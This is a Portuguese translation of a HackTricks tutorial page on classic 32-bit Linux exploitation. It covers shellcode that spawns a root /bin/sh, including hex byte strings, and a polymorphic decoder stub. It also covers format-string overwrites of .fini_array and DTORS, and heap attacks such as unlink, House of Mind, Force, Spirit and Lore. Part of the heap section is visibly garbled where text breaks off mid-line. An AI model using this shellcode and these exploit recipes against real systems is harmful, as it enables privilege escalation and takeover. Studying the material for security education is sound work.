# Exploração no Linux (Básico)
Aprenda hacking AWS do zero ao avançado com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
## **2.SHELLCODE**
Ver interrupções do kernel: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
setreuid(0,0); // \_\_NR\_setreuid 70\
execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\
exit(0); // \_\_NR\_exit 1
xor eax, eax ; limpamos eax\
xor ebx, ebx ; ebx = 0 pois não há argumento para passar\
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
int 0x80 ; Executar syscall
**nasm -f elf assembly.asm** —> Retorna um .o\
**ld assembly.o -o shellcodeout** —> Gera um executável com o código em assembly e podemos extrair os opcodes com **objdump**\
**objdump -d -Mintel ./shellcodeout** —> Para verificar se é realmente nosso shellcode e extrair os OpCodes
**Verificar se o shellcode funciona**
```
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}
```
Para verificar se as chamadas de sistema estão sendo feitas corretamente, o programa anterior deve ser compilado e as chamadas de sistema devem aparecer em **strace ./PROGRAMA\_COMPILADO**
Ao criar shellcodes, um truque pode ser usado. A primeira instrução é um salto para uma chamada. A chamada chama o código original e também coloca o EIP na pilha. Após a instrução de chamada, inserimos a string necessária, para que com esse EIP possamos apontar para a string e continuar executando o código.
EX **TRUCO (/bin/sh)**:
```
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar
```
**EJ usando o Stack(/bin/sh):**
```
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
```
**EJ FNSTENV:**
```
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
…
```
**Buscador de Ovos:**
Trata-se de um pequeno código que percorre as páginas de memória associadas a um processo em busca da shellcode armazenada lá (procura por alguma assinatura colocada na shellcode). Útil nos casos em que há apenas um pequeno espaço para injetar código.
**Shellcodes Polimórficos**
São shells cifrados que possuem um pequeno código que os descriptografa e salta para ele, usando o truque de Call-Pop, este seria um **exemplo de cifra de César**:
```
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aquí va el shellcode
```
## **5. Métodos complementares**
**Ret2Ret**
Útil quando não é possível inserir um endereço de pilha no EIP (verifica-se que o EIP não contém 0xbf) ou quando não é possível calcular a localização do shellcode. No entanto, a função vulnerável aceita um parâmetro (o shellcode será colocado aqui).
Dessa forma, ao alterar o EIP por um endereço de um **ret**, a próxima instrução será carregada (que é o endereço do primeiro argumento da função). Ou seja, o shellcode será carregado.
O exploit seria: SHELLCODE + Preenchimento (até o EIP) + **\&ret** (os próximos bytes da pilha apontam para o início do shellcode, pois o endereço do argumento passado é colocado na pilha)
Parece que funções como **strncpy**, uma vez completas, removem da pilha o endereço onde o shellcode estava armazenado, impossibilitando essa técnica. Ou seja, o endereço passado para a função como argumento (que armazena o shellcode) é modificado por um 0x00, então, ao chamar o segundo **ret**, ele encontra um 0x00 e o programa trava.
**Técnica de Murat**
No Linux, todos os programas são mapeados começando em 0xbfffffff.
Observando como a pilha de um novo processo é construída no Linux, é possível desenvolver um exploit de modo que o programa seja iniciado em um ambiente onde a única variável seja o shellcode. O endereço desta variável pode ser calculado como: addr = 0xbfffffff - 4 - strlen(NOME\_do\_executável\_completo) - strlen(shellcode)
Dessa forma, seria facilmente obtido o endereço onde está a variável de ambiente com o shellcode.
Isso é possível graças à função execle, que permite criar um ambiente com apenas as variáveis de ambiente desejadas.
**Estouros de inteiros**
Esse tipo de estouro ocorre quando uma variável não está preparada para suportar um número tão grande quanto o que é passado, possivelmente devido a uma confusão entre variáveis com e sem sinal, por exemplo:
```c
#include
#include
#include
int main(int argc, char *argv[]){
int len;
unsigned int l;
char buffer[256];
int i;
len = l = strtoul(argv[1], NULL, 10);
printf("\nL = %u\n", l);
printf("\nLEN = %d\n", len);
if (len >= 256){
printf("\nLongitus excesiva\n");
exit(1);
}
if(strlen(argv[2]) < l)
strcpy(buffer, argv[2]);
else
printf("\nIntento de hack\n");
return 0;
}
```
No exemplo acima, vemos que o programa espera 2 parâmetros. O primeiro é o comprimento da próxima string e o segundo é a string.
Se passarmos um número negativo como o primeiro parâmetro, ele mostrará que len < 256 e passará por esse filtro, e também strlen(buffer) será menor que l, pois l é um unsigned int e será muito grande.
Esse tipo de overflow não busca escrever algo no processo do programa, mas sim contornar filtros mal projetados para explorar outras vulnerabilidades.
**Variáveis não inicializadas**
Não se sabe o valor que uma variável não inicializada pode assumir e pode ser interessante observar isso. Pode ser que ela assuma o valor que uma variável da função anterior assumia e que essa variável seja controlada pelo atacante.
##
###
###
###
### **.fini\_array**
Essencialmente, esta é uma estrutura com **funções que serão chamadas** antes do programa terminar. Isso é interessante se você puder chamar seu **shellcode apenas pulando para um endereço**, ou em casos em que você precisa voltar ao main novamente para **explorar a string de formato uma segunda vez**.
```bash
objdump -s -j .fini_array ./greeting
./greeting: file format elf32-i386
Contents of section .fini_array:
8049934 a0850408
#Put your address in 0x8049934
```
Note que isso **não** criará um **loop eterno** porque quando você voltar para o principal, o canário perceberá, o final da pilha pode estar corrompido e a função não será chamada novamente. Portanto, com isso você poderá **ter mais 1 execução** da vulnerabilidade.
### **Formatar Strings para Extrair Conteúdo**
Uma string de formato também pode ser abusada para **extrair conteúdo** da memória do programa.\
Por exemplo, na seguinte situação há uma **variável local na pilha apontando para uma flag**. Se você **encontrar** onde na **memória** o **ponteiro** para a **flag** está, você pode fazer o **printf acessar** esse **endereço** e **imprimir** a **flag**:
Então, a flag está em **0xffffcf4c**
![](<../../.gitbook/assets/image (618) (2).png>)
E a partir do vazamento você pode ver que o **ponteiro para a flag** está no **8º** parâmetro:
![](<../../.gitbook/assets/image (623).png>)
Portanto, **acessando** o **8º parâmetro** você pode obter a flag:
![](<../../.gitbook/assets/image (624).png>)
Note que seguindo o **exploit anterior** e percebendo que você pode **vazar conteúdo**, você pode **definir ponteiros** para o **`printf`** na seção onde o **executável** está **carregado** e **extrair** ele **inteiramente**!
### **DTOR**
{% hint style="danger" %}
Atualmente é muito **incomum encontrar um binário com uma seção dtor**.
{% endhint %}
Os destrutores são funções que são **executadas antes do programa terminar**.\
Se você conseguir **escrever** um **endereço** para um **shellcode** em **`__DTOR_END__`**, isso será **executado** antes do programa terminar.\
Obtenha o endereço desta seção com:
```bash
objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”
```
Geralmente você encontrará a seção **DTOR** **entre** os valores `ffffffff` e `00000000`. Portanto, se você apenas ver esses valores, significa que **não há nenhuma função registrada**. Portanto, **sobrescreva** o **`00000000`** com o **endereço** do **shellcode** para executá-lo.
### **Strings de Formato para Estouros de Buffer**
O **sprintf move** uma string formatada **para** uma **variável**. Portanto, você pode abusar da **formatação** de uma string para causar um **estouro de buffer na variável** para onde o conteúdo é copiado.\
Por exemplo, a carga `%.44xAAAA` irá **escrever 44B+"AAAA" na variável**, o que pode causar um estouro de buffer.
### **Estruturas \_\_atexit**
{% hint style="danger" %}
Atualmente é muito **incomum explorar isso**.
{% endhint %}
**`atexit()`** é uma função para a qual **outras funções são passadas como parâmetros**. Essas **funções** serão **executadas** ao executar um **`exit()`** ou o **retorno** do **main**.\
Se você puder **modificar** o **endereço** de qualquer uma dessas **funções** para apontar para um shellcode, por exemplo, você **obterá controle** sobre o **processo**, mas atualmente isso é mais complicado.\
Atualmente, os **endereços das funções** a serem executadas estão **ocultos** por várias estruturas e, finalmente, o endereço para o qual apontam não são os endereços das funções, mas são **criptografados com XOR** e deslocamentos com uma **chave aleatória**. Portanto, atualmente esse vetor de ataque não é muito útil, pelo menos em x86 e x64\_86.\
A **função de criptografia** é **`PTR_MANGLE`**. **Outras arquiteturas** como m68k, mips32, mips64, aarch64, arm, hppa... **não implementam a função de criptografia** porque ela **retorna o mesmo** que recebeu como entrada. Portanto, essas arquiteturas seriam atacáveis por esse vetor.
### **setjmp() & longjmp()**
{% hint style="danger" %}
Atualmente é muito **incomum explorar isso**.
{% endhint %}
**`Setjmp()`** permite **salvar** o **contexto** (os registradores)\
**`longjmp()`** permite **restaurar** o **contexto**.\
Os **registradores salvos** são: `EBX, ESI, EDI, ESP, EIP, EBP`\
O que acontece é que EIP e ESP são passados pela função **`PTR_MANGLE`**, então as **arquiteturas vulneráveis a esse ataque são as mesmas acima**.\
Eles são úteis para recuperação de erros ou interrupções.\
No entanto, pelo que li, os outros registradores não são protegidos, **então se houver um `call ebx`, `call esi` ou `call edi`** dentro da função chamada, o controle pode ser assumido. Ou você também poderia modificar EBP para modificar o ESP.
**VTable e VPTR em C++**
Cada classe tem uma **Vtable** que é um array de **ponteiros para métodos**.
Cada objeto de uma **classe** tem um **VPtr** que é um **ponteiro** para o array de sua classe. O VPtr faz parte do cabeçalho de cada objeto, então se uma **sobrescrita** do **VPtr** for alcançada, ela poderia ser **modificada** para **apontar** para um método fictício para que a execução de uma função vá para o shellcode.
## **Medidas Preventivas e Evasões**
###
**Substituição do Libsafe**
Ativado por: LD\_PRELOAD=/lib/libsafe.so.2\
ou\
“/lib/libsave.so.2” > /etc/ld.so.preload
Ele intercepta chamadas para algumas funções inseguras por outras seguras. Não é padronizado. (apenas para x86, não para compilações com -fomit-frame-pointer, não para compilações estáticas, nem todas as funções vulneráveis se tornam seguras e LD\_PRELOAD não funciona em binários com suid).
**Espaço de Endereço ASCII Armored**
Consiste em carregar bibliotecas compartilhadas de 0x00000000 a 0x00ffffff para que sempre haja um byte 0x00. No entanto, isso realmente não impede quase nenhum ataque, especialmente em little endian.
**ret2plt**
Consiste em realizar um ROP de forma que a função strcpy@plt (da plt) seja chamada e aponte para a entrada da GOT e copie o primeiro byte da função que se deseja chamar (system()). Em seguida, o mesmo é feito apontando para GOT+1 e copiando o 2º byte de system()... Por fim, a direção armazenada na GOT que será system() é chamada.
**Jaulas com chroot()**
debootstrap -arch=i386 hardy /home/user —> Instala um sistema básico em um subdiretório específico
Um administrador pode sair dessas jaulas fazendo: mkdir foo; chroot foo; cd ..
**Instrumentação de Código**
Valgrind —> Procura por erros\
Memcheck\
RAD (Return Address Defender)\
Insure++
## **8 Estouros de Heap: Exploits Básicos**
**Chunk Alocado**
prev\_size |\
size | —Cabeçalho\
\*mem | Dados
**Chunk Livre**
prev\_size |\
size |\
\*fd | Ptr chunk seguinte\
\*bk | Ptr chunk anterior —Cabeçalho\
\*mem | Dados
Os chunks livres estão em uma lista duplamente encadeada (bin) e nunca podem haver dois chunks livres juntos (eles são unidos)
No “size” há bits para indicar: Se o chunk anterior está em uso, se o chunk foi alocado por meio de mmap() e se o chunk pertence à arena primária.
Ao liberar um chunk, se algum dos contíguos estiver livre, eles são fundidos pela macro unlink() e o novo chunk maior é passado para frontlink() para ser inserido no bin apropriado.
unlink(){\
BK = P->bk; —> O BK do novo chunk é o que o chunk que já estava livre antes tinha\
FD = P->fd; —> O FD do novo chunk é o que o chunk que já estava livre antes tinha\
FD->bk = BK; —> O BK do chunk seguinte aponta para o novo chunk\
BK->fd = FD; —> O FD do chunk anterior aponta para o novo chunk\
}
Portanto, se conseguirmos modificar o P->bk com o endereço de um shellcode e o P->fd com o endereço de uma entrada na GOT ou DTORS menos 12, é possível:
BK = P->bk = \&shellcode\
FD = P->fd = &\_\_dtor\_end\_\_ - 12\
FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode
E assim, o shellcode é executado ao sair do programa.
Além disso, a 4ª instrução de unlink() escreve algo e o shellcode precisa ser ajustado para isso:
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Isso resulta na escrita de 4 bytes a partir do 8º byte do shellcode, então a primeira instrução do shellcode deve ser um jmp para pular isso e chegar a alguns nops que levam ao restante do shellcode.
Portanto, o exploit é criado:
No buffer1, inserimos o shellcode começando com um jmp para que ele caia nos nops ou no restante do shellcode.
Após o shellcode, inserimos preenchimento até chegar ao campo prev\_size e size do próximo chunk. Nestes locais, inserimos 0xfffffff0 (para sobrescrever o prev\_size para que tenha o bit que indica que está livre) e “-4” (0xfffffffc) no size (para que, ao verificar no 3º chunk se o 2º estava livre, na verdade vá para o prev\_size modificado que dirá que está livre) -> Assim, quando o free() investigar, ele irá para o size do 3º, mas na verdade irá para o 2º - 4 e pensará que o 2º chunk está livre. Então ele chamará **unlink()**.
Ao chamar unlink(), ele usará os primeiros dados do 2º chunk como P->fd, então o endereço que se deseja sobrescrever - 12 (pois em FD->bk ele adicionará 12 ao endereço armazenado em FD) será inserido lá. E nesse endereço, a segunda direção encontrada no 2º chunk será inserida, que será o endereço do shellcode (falso P->bk).
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de preenchimento**
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\**
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
**prev\_size = pack("\ Retorna um ponteiro para o endereço onde o chunk começa (mem-8)
…
ar\_ptr = arena\_for_chunk(p); —> chunk\_non\_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:\&main_arena \[1]
…
\_int_free(ar_ptr, mem);
}
Em \[1], verifica o campo size do bit NON_MAIN_ARENA, que pode ser alterado para que a verificação retorne verdadeira e execute heap_for_ptr(), que faz um and em "mem", deixando os 2,5 bytes menos significativos como 0 (em nosso caso, de 0x0804a000, deixa 0x08000000) e acessa 0x08000000->ar_ptr (como se fosse um struct heap_info)
Dessa forma, se pudermos controlar um chunk, por exemplo, em 0x0804a000 e um chunk será liberado em **0x081002a0**, podemos chegar ao endereço 0x08100000 e escrever o que quisermos, por exemplo, **0x0804a000**. Quando este segundo chunk for liberado, ele encontrará que heap_for_ptr(ptr)->ar_ptr retorna o que escrevemos em 0x08100000 (pois é aplicado a 0x081002a0 o and que vimos antes e daí é extraído o valor dos primeiros 4 bytes, o ar_ptr)
Dessa forma, chama-se \_int_free(ar_ptr, mem), ou seja, **\_int_free(0x0804a000, 0x081002a0)**\
**\_int_free(mstate av, Void_t\* mem){**\
…\
bck = unsorted_chunks(av);\
fwd = bck->fd;\
p->bk = bck;\
p->fd = fwd;\
bck->fd = p;\
fwd->bk = p;
..}
Como vimos antes, podemos controlar o valor de av, pois é o que escrevemos no chunk que será liberado.
Como unsorted_chunks é definido, sabemos que:\
bck = \&av->bins\[2]-8;\
fwd = bck->fd = \*(av->bins\[2]);\
fwd->bk = \*(av->bins\[2] + 12) = p;
Portanto, se escrevermos o valor de \_\_DTOR_END\_\_-12 em av->bins\[2], na última instrução, será escrito em \_\_DTOR_END\_\_ o endereço do segundo chunk.
Ou seja, no primeiro chunk, no início, devemos colocar muitas vezes o endereço de \_\_DTOR_END\_\_-12, pois é de lá que av->bins\[2] o pegará.
No endereço onde cair o endereço do segundo chunk com os últimos 5 zeros, devemos escrever o endereço deste primeiro chunk para que heap_for_ptr() pense que ar_ptr está no início do primeiro chunk e pegue av->bins\[2] de lá.
No segundo chunk e graças ao primeiro, sobrescrevemos o prev_size com um salto 0x0c e o size com algo para ativar -> NON_MAIN_ARENA
Em seguida, no chunk 2, colocamos muitos nops e, finalmente, o shellcode
Dessa forma, \_int_free(TROÇO1, TROÇO2) será chamado e seguirá as instruções para escrever em \_\_DTOR_END\_\_ o endereço do prev_size do TROÇO2, que saltará para o shellcode.
Para aplicar esta técnica, é necessário que alguns requisitos sejam atendidos, o que complica um pouco mais o payload.
Esta técnica não é mais aplicável, pois foi aplicado quase o mesmo patch que para unlink. Verifica-se se o novo local para onde aponta também está apontando para ele.
**Fastbin**
É uma variante de The house of mind
Interessa-nos executar o seguinte código após a primeira verificação da função \_int\_free()
fb = &(av->fastbins\[fastbin\_index(size)] —> Sendo fastbin\_index(sz) —> (sz >> 3) - 2
…
p->fd = \*fb
\*fb = p
Desta forma, se for colocado em "fb", ele aponta para uma função na GOT, onde será colocada a direção do chunk sobrescrito. Para isso, é necessário que a arena esteja próxima das direções de dtors. Mais precisamente, av->max\_fast deve estar na direção que será sobrescrita.
Dado que com The House of Mind vimos que controlávamos a posição do av.
Então, se no campo size for inserido um tamanho de 8 + NON\_MAIN\_ARENA + PREV\_INUSE —> fastbin\_index() retornará fastbins\[-1\], que apontará para av->max\_fast
Neste caso, av->max\_fast será a direção que será sobrescrita (não para onde aponta, mas essa posição será sobrescrita).
Além disso, é necessário que o chunk adjacente ao liberado seja maior que 8 -> Como mencionamos que o tamanho do chunk liberado é 8, neste chunk falso só precisamos colocar um tamanho maior que 8 (além disso, a shellcode estará no chunk liberado, então no início teremos que colocar um jmp que caia em nops).
Além disso, esse mesmo chunk falso deve ser menor que av->system\_mem. av->system\_mem está 1848 bytes adiante.
Devido aos nulos de \_DTOR\_END\_ e às poucas direções na GOT, nenhuma direção dessas seções serve para ser sobrescrita, então vejamos como aplicar fastbin para atacar a pilha.
Outra forma de ataque é redirecionar o **av** para a pilha.
Se modificarmos o size para ser 16 em vez de 8, então: fastbin\_index() retornará fastbins\[0\] e podemos usar isso para sobrescrever a pilha.
Para isso, não deve haver nenhum canary ou valores estranhos na pilha, na verdade, devemos encontrar o seguinte: 4 bytes nulos + EBP + RET
Os 4 bytes nulos são necessários para que o **av** esteja nessa direção e o primeiro elemento de um **av** é o mutex que deve ser 0.
O **av->max\_fast** será o EBP e será um valor que nos permitirá ignorar as restrições.
No **av->fastbins\[0\]** será sobrescrito com a direção de **p** e será o RET, assim a shellcode será executada.
Além disso, em **av->system\_mem** (1484 bytes acima da posição na pilha) haverá bastante lixo que nos permitirá ignorar a verificação que é feita.
Além disso, é necessário que o chunk adjacente ao liberado seja maior que 8 -> Como mencionamos que o tamanho do chunk liberado é 16, neste chunk falso só precisamos colocar um tamanho maior que 8 (além disso, a shellcode estará no chunk liberado, então no início teremos que colocar um jmp que caia em nops que vêm após o campo size do novo chunk falso).
**The House of Spirit**
Neste caso, buscamos ter um ponteiro para um malloc que possa ser alterado pelo atacante (por exemplo, o ponteiro está na pilha abaixo de um possível overflow para uma variável).
Assim, poderíamos fazer com que esse ponteiro apontasse para onde quer que fosse. No entanto, nem todo local é válido, o tamanho do chunk falso deve ser menor que av->max\_fast e mais especificamente igual ao tamanho solicitado em uma chamada futura para malloc()+8. Portanto, se soubermos que após esse ponteiro vulnerável é feita uma chamada para malloc(40), o tamanho do chunk falso deve ser igual a 48.
Por exemplo, se o programa perguntar ao usuário por um número, poderíamos inserir 48 e apontar o ponteiro de malloc modificável para os próximos 4 bytes (que poderiam pertencer ao EBP com sorte, assim o 48 ficaria atrás, como se fosse o cabeçalho size). Além disso, o endereço ptr-4+48 deve atender a várias condições (sendo neste caso ptr=EBP), ou seja, 8 < ptr-4+48 < av->system\_mem.
Caso isso seja cumprido, quando a próxima chamada para malloc que dissemos que era malloc(40) for feita, o endereço do EBP será atribuído. Caso o atacante também possa controlar o que é escrito nesse malloc, ele pode sobrescrever tanto o EBP quanto o EIP com o endereço desejado.
Acredito que isso ocorre porque quando o free() é chamado, ele armazenará que no endereço que aponta para o EBP da pilha há um chunk de tamanho perfeito para o novo malloc() que está sendo reservado, então ele atribui esse endereço.
**The House of Force**
É necessário:
* Um overflow para um chunk que permita sobrescrever o wilderness
* Uma chamada para malloc() com o tamanho definido pelo usuário
* Uma chamada para malloc() cujos dados possam ser definidos pelo usuário
O primeiro passo é sobrescrever o tamanho do chunk wilderness com um valor muito grande (0xffffffff), para que qualquer solicitação de memória grande seja tratada em \_int\_malloc() sem a necessidade de expandir o heap.
O segundo passo é alterar o av->top para apontar para uma área de memória sob o controle do atacante, como a pilha. Em av->top, será colocado \&EIP - 8.
Devemos sobrescrever av->top para apontar para a área de memória sob o controle do atacante:
victim = av->top;
remainder = chunck\_at\_offset(victim, nb);
av->top = remainder;
Victim obtém o valor da direção do chunk wilderness atual (o av->top atual) e remainder é exatamente a soma dessa direção mais a quantidade de bytes solicitados por malloc(). Portanto, se \&EIP-8 estiver em 0xbffff224 e av->top contiver 0x080c2788, então a quantidade que precisamos reservar no malloc controlado para que av->top aponte para $EIP-8 para o próximo malloc() será:
0xbffff224 - 0x080c2788 = 3086207644.
Assim, o valor alterado será armazenado em av->top e o próximo malloc apontará para o EIP e poderá ser sobrescrito.
É importante que o tamanho do novo chunk wilderness seja maior que a solicitação feita pelo último malloc(). Ou seja, se o wilderness estiver apontando para \&EIP-8, o tamanho ficará exatamente no campo EBP da pilha.
**The House of Lore**
**Corrupção SmallBin**
Os chunks liberados são inseridos no bin com base em seu tamanho. Mas antes de serem inseridos, eles são armazenados em unsorted bins. Quando um chunk é liberado, ele não é imediatamente colocado em seu bin, mas permanece em unsorted bins. Em seguida, se um novo chunk for alocado e o anterior liberado puder ser usado, ele será retornado, mas se um chunk maior for alocado, o chunk liberado em unsorted bins será colocado em seu bin apropriado.
Para alcançar o código vulnerável, a solicitação de memória deve ser maior que av->max\_fast (normalmente 72) e menor que MIN\_LARGE\_SIZE (512).
Se houver um chunk no bin do tamanho adequado ao solicitado, ele será retornado após ser desvinculado:
bck = victim->bk; Aponta para o chunk anterior, é a única informação que podemos alterar.
bin->bk = bck; O penúltimo chunk se torna o último, e se bck apontar para a pilha, o próximo chunk alocado receberá esse endereço.
bck->fd = bin; A lista é fechada fazendo com que ele aponte para bin
São necessários:
Reserve dois mallocs, de modo que o primeiro possa sofrer overflow após o segundo ter sido liberado e inserido em seu bin (ou seja, um malloc maior que o segundo deve ser reservado antes do overflow).
O malloc reservado com o endereço escolhido pelo atacante deve ser controlado pelo atacante.
O objetivo é o seguinte: se pudermos fazer um overflow em um heap que tem um pedaço liberado e em seu bin abaixo, podemos alterar seu ponteiro bk. Ao alterar o ponteiro bk e se esse pedaço se tornar o primeiro da lista do bin e for reservado, o bin será enganado e informado de que o próximo pedaço da lista está na falsa direção que definimos (como stack ou GOT, por exemplo). Portanto, se outro pedaço for reservado e o atacante tiver permissões nele, um pedaço na posição desejada será fornecido e poderá ser escrito.
Após liberar o pedaço modificado, é necessário reservar um pedaço maior do que o liberado, para que o pedaço modificado saia dos bins não ordenados e seja inserido em seu bin.
Uma vez no bin, é hora de modificar o ponteiro bk através do overflow para apontar para o endereço que desejamos sobrescrever.
Assim, o bin deve esperar até que malloc() seja chamado várias vezes para que o bin modificado seja usado novamente e engane o bin, fazendo-o acreditar que o próximo pedaço está na direção falsa. Em seguida, o pedaço desejado será fornecido.
Para que a vulnerabilidade seja explorada o mais rápido possível, o ideal seria: reservar o pedaço vulnerável, reservar o pedaço a ser modificado, liberar esse pedaço, reservar um pedaço maior do que o a ser modificado, modificar o pedaço (vulnerabilidade), reservar um pedaço do mesmo tamanho do vulnerado e reservar um segundo pedaço do mesmo tamanho, que apontará para o endereço escolhido.
Para proteger esse ataque, é usada a verificação típica de que o pedaço "não" é falso: verifica-se se bck->fd está apontando para a vítima. Ou seja, no nosso caso, se o ponteiro fd* do pedaço falso apontado na pilha está apontando para a vítima. Para contornar essa proteção, o atacante deve ser capaz de escrever de alguma forma (provavelmente na pilha) no endereço correto da vítima. Para que pareça um pedaço verdadeiro.
**Corrupção LargeBin**
São necessários os mesmos requisitos que antes e alguns adicionais, além disso, os pedaços reservados devem ser maiores que 512.
O ataque é semelhante ao anterior, ou seja, é necessário modificar o ponteiro bk e todas essas chamadas para malloc(), mas também é necessário modificar o tamanho do pedaço modificado de forma que esse tamanho - nb seja < MINSIZE.
Por exemplo, é necessário definir o tamanho como 1552 para que 1552 - 1544 = 8 < MINSIZE (a subtração não pode ser negativa porque é comparada com um valor não assinado).
Além disso, foi introduzido um patch para tornar o ataque ainda mais complicado.
**Heap Spraying**
Basicamente consiste em reservar toda a memória possível para heaps e preenchê-los com um colchão de nops seguido de uma shellcode. Além disso, o colchão é preenchido com 0x0c. A ideia é tentar pular para o endereço 0x0c0c0c0c e, assim, se alguma direção for sobrescrita com esse colchão, o controle será transferido para lá. Basicamente, a tática é reservar o máximo possível para ver se algum ponteiro é sobrescrito e pular para 0x0c0c0c0c, esperando que haja nops lá.
**Heap Feng Shui**
Consiste em, por meio de reservas e liberações, organizar a memória de forma que pedaços reservados fiquem entre pedaços livres. O buffer a ser estourado será colocado em um desses pedaços.
## Cursos Interessantes
* [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
* [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
* [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes)
## **Referências**
* [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
Aprenda hacking AWS do zero ao hero com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).